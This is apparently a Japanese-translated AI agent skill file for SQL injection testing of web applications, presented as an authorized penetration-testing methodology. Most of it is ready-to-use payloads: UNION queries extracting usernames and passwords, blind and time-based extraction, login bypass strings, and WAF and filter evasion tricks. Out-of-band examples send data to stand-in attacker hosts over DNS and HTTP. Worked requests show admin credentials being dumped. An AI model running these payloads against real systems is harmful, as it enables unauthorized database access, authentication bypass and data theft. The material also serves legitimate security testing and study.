sql-injection-testing
Webアプリケーションに対して包括的なSQLインジェクション脆弱性診断を実行し、データベースのセキュリティ上の欠陥を特定、攻撃手法のデモンストレーション、および入力サニタイズ機構の検証を行います。
description の原文を見る
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms.
SKILL.md 本文
認可された使用のみ: このスキルは認可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。
SQL インジェクション テスト
目的
Webアプリケーションに対する包括的なSQLインジェクション脆弱性評価を実行し、データベースセキュリティの欠陥を特定し、エクスプロイテーション技術を実証し、入力サニタイゼーション機構を検証します。このスキルにより、帯域内、ブラインド、帯域外の攻撃ベクトルを含むSQLインジェクション脆弱性を体系的に検出・エクスプロイトし、アプリケーションのセキュリティ状況を評価することが可能になります。
入力 / 前提条件
必要なアクセス
- インジェクション可能なパラメータを持つ対象Webアプリケーションの URL
- リクエスト操作用の Burp Suite または同等のプロキシツール
- 自動化されたエクスプロイテーション用の SQLMap インストール
- 開発者ツールが有効なブラウザ
技術要件
- SQL クエリ構文の理解 (MySQL、MSSQL、PostgreSQL、Oracle)
- HTTP リクエスト/レスポンスサイクルの知識
- データベーススキーマと構造に対する精通
- テストレポートの作成権限
法的前提条件
- ペネトレーション テストの書面による認可
- 対象 URL とパラメータを含む定義されたスコープ
- 緊急連絡手順の確立
- データ処理契約の締結
出力 / 成果物
主要な出力
- 重大度評価付きの SQL インジェクション脆弱性レポート
- 抽出されたデータベーススキーマとテーブル構造
- 認証バイパスの概念実証デモンストレーション
- コード例を含む修復推奨事項
エビデンス成果物
- 成功したインジェクションのスクリーンショット
- HTTP リクエスト/レスポンスログ
- データベースダンプ (サニタイズ済み)
- ペイロードドキュメント
コアワークフロー
フェーズ 1: 検出と偵察
インジェクション可能なパラメータの特定
データベースクエリと対話するユーザーコントロール入力フィールドを特定します:
# 一般的なインジェクションポイント
- URL パラメータ: ?id=1, ?user=admin, ?category=books
- フォームフィールド: ユーザー名、パスワード、検索、コメント
- Cookie 値: session_id、user_preference
- HTTP ヘッダ: User-Agent、Referer、X-Forwarded-For
基本的な脆弱性指標のテスト
特殊文字を挿入してエラーレスポンスをトリガーします:
-- 単一引用符テスト
'
-- 二重引用符テスト
"
-- コメント シーケンス
--
#
/**/
-- クエリスタッキング用のセミコロン
;
-- 括弧
)
以下のようなアプリケーションレスポンスを監視します:
- クエリ構造を明かすデータベースエラーメッセージ
- 予期しないアプリケーション動作の変化
- HTTP 500 Internal Server エラー
- レスポンスコンテンツまたは長さの変更
ロジックテストペイロード
ブール型脆弱性の存在を確認します:
-- 真条件テスト
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- 偽条件テスト
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
真条件と偽条件の間でレスポンスを比較してインジェクション能力を確認します。
フェーズ 2: エクスプロイテーション技術
UNION ベースの抽出
攻撃者制御の SELECT ステートメントを元のクエリと組み合わせます:
-- カラム数を決定
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- エラーが発生するまで継続
-- 表示可能なカラムを検索
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- データを抽出
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
エラー ベースの抽出
情報を漏らすデータベースエラーを強制します:
-- MSSQL バージョン抽出
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL XPATH 経由の抽出
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL キャストエラー
1' AND 1=CAST((SELECT version()) AS int)--
ブール型ブラインド抽出
アプリケーション動作の変化を通じてデータを推測します:
-- 文字抽出
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- 条件付きレスポンス
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
時間ベースのブラインド抽出
データベーススリープ関数を使用して確認します:
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
帯域外 (OOB) 抽出
外部チャネルを通じてデータを漏らします:
-- MSSQL DNS 漏洩
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS 漏洩
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP リクエスト
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
フェーズ 3: 認証バイパス
ログインフォームエクスプロイテーション
認証情報検証をバイパスするペイロードを構築します:
-- 古典的なバイパス
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- ユーザー名列挙
admin' AND '1'='1
admin' AND '1'='2
クエリ変換の例:
-- 元のクエリ
SELECT * FROM users WHERE username='input' AND password='input'
-- インジェクション (ユーザー名: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- パスワードチェックはコメントでバイパスされる
フェーズ 4: フィルター バイパス技術
文字エンコード バイパス
特殊文字がブロックされている場合:
-- URL エンコーディング
%27 (単一引用符)
%22 (二重引用符)
%23 (ハッシュ)
-- ダブル URL エンコーディング
%2527 (単一引用符)
-- Unicode 代替
U+0027 (アポストロフィ)
U+02B9 (修飾子付き素数)
-- 16 進数文字列 (MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- hex での 'admin'
ホワイトスペース バイパス
ブロックされたスペースを代替します:
-- コメント代替
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users
-- 代替ホワイトスペース
SELECT%09username%09FROM%09users -- タブ文字
SELECT%0Ausername%0AFROM%0Ausers -- 改行
キーワード バイパス
ブラックリストに登録された SQL キーワードを回避します:
-- 大文字小文字の変動
SeLeCt, sElEcT, SELECT
-- インラインコメント
SEL/*bypass*/ECT
UN/*bypass*/ION
-- ダブルライティング (フィルターが一度削除する場合)
SELSELECTECT → SELECT
UNUNIONION → UNION
-- ヌルバイト注入
%00SELECT
SEL%00ECT
クイックリファレンス
検出テストシーケンス
1. ' を挿入 → エラーを確認
2. " を挿入 → エラーを確認
3. OR 1=1-- を試行 → 動作の変化を確認
4. AND 1=2-- を試行 → 動作の変化を確認
5. ' WAITFOR DELAY '0:0:5'-- を試行 → 遅延を確認
データベース フィンガープリント
-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
情報スキーマ クエリ
-- MySQL/MSSQL テーブル列挙
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- カラム列挙
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle 相当
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
一般的なペイロード クイックリスト
| 目的 | ペイロード |
|---|---|
| 基本テスト | ' または " |
| ブール真 | OR 1=1-- |
| ブール偽 | AND 1=2-- |
| コメント (MySQL) | # または -- |
| コメント (MSSQL) | -- |
| UNION プローブ | UNION SELECT NULL-- |
| 時間遅延 | AND SLEEP(5)-- |
| 認証バイパス | ' OR '1'='1 |
制約とガードレール
運用上の境界
- 明示的な認可がない限り、破壊的なクエリ (DROP、DELETE、TRUNCATE) を実行しないでください
- データ抽出を概念実証量に制限する
- リソース集約的なクエリによるサービス拒否を避ける
- 実ユーザーデータを含む本番データベースを検出した場合は直ちに停止する
技術的限界
- WAF/IPS は一般的なペイロードをブロックする可能性があります (回避技術が必要)
- パラメータ化クエリは標準的なインジェクションを防ぐ
- 一部のブラインド インジェクションには広範なリクエストが必要 (レート制限の懸念)
- 二次インジェクションはデータフローの理解が必要
法的および倫理的要件
- テスト実施前に書面によるスコープ契約が必要です
- 抽出されたすべてのデータを文書化し、データ保護要件に従って処理する
- 合意されたチャネルを通じて重大な脆弱性を直ちに報告する
- スコープ要件を超えてデータにアクセスしない
例
例 1: eコマース商品ページ SQLi
シナリオ: ID パラメータを持つ商品表示ページをテスト
初期リクエスト:
GET /product.php?id=5 HTTP/1.1
検出テスト:
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''
カラム列挙:
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: 通常
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: エラー (4 カラム確認)
データ抽出:
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: 管理者認証情報を表示
例 2: ブライン時間ベース抽出
シナリオ: 目に見える出力がなく、ブラインド インジェクションをテスト
脆弱性を確認:
id=5' AND SLEEP(5)--
-- レスポンスが 5 秒遅延 (脆弱性確認)
データベース名の長さを抽出:
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- 遅延によってデータベース名が 8 文字であることを確認
文字を抽出:
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- 文字を反復処理して抽出: 'appstore'
例 3: ログイン バイパス
対象: 管理ログインフォーム
標準ログインクエリ:
SELECT * FROM users WHERE username='[input]' AND password='[input]'
インジェクション ペイロード:
ユーザー名: administrator'--
パスワード: anything
結果のクエリ:
SELECT * FROM users WHERE username='administrator'--' AND password='anything'
結果: パスワードチェックがバイパスされ、管理者として認証されます。
トラブルシューティング
エラーメッセージが表示されない
- アプリケーションが一般的なエラー処理を使用している
- ブラインド インジェクション技術 (ブール型または時間ベース) に切り替える
- コンテンツではなくレスポンス長の違いを監視する
UNION インジェクションが失敗する
- カラム数が正しくない可能性 → ORDER BY でテスト
- データ型がミスマッチする可能性 → 最初にすべてのカラムで NULL を使用
- 結果が表示されない可能性 → インジェクション可能なカラム位置を検索
WAF がリクエストをブロックしている
- エンコーディング技術 (URL、16 進数、unicode) を使用する
- キーワード内にインラインコメントを挿入する
- 同じ操作の別の構文を試行する
- 複数のパラメータ間でペイロードを分割する
ペイロードが実行されない
- データベースタイプの正しいコメント構文を確認
- アプリケーションがパラメータ化クエリを使用しているかを確認
- 入力が SQL クエリに到達しているか (クライアント側フィルターではない) を確認
- 別のインジェクションポイント (ヘッダー、cookie) をテスト
時間ベース インジェクションが一貫していない
- ネットワークレイテンシーが誤検知の原因となる可能性
- より長い遅延 (10 秒以上) を使用して明確にする
- パターンを確認するために複数のテストを実行する
- サーバー側キャッシングの影響を考慮する
使用時期
このスキルは、概要で説明されているワークフローまたはアクションを実行するために適用できます。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- sickn33
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/sickn33/antigravity-awesome-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。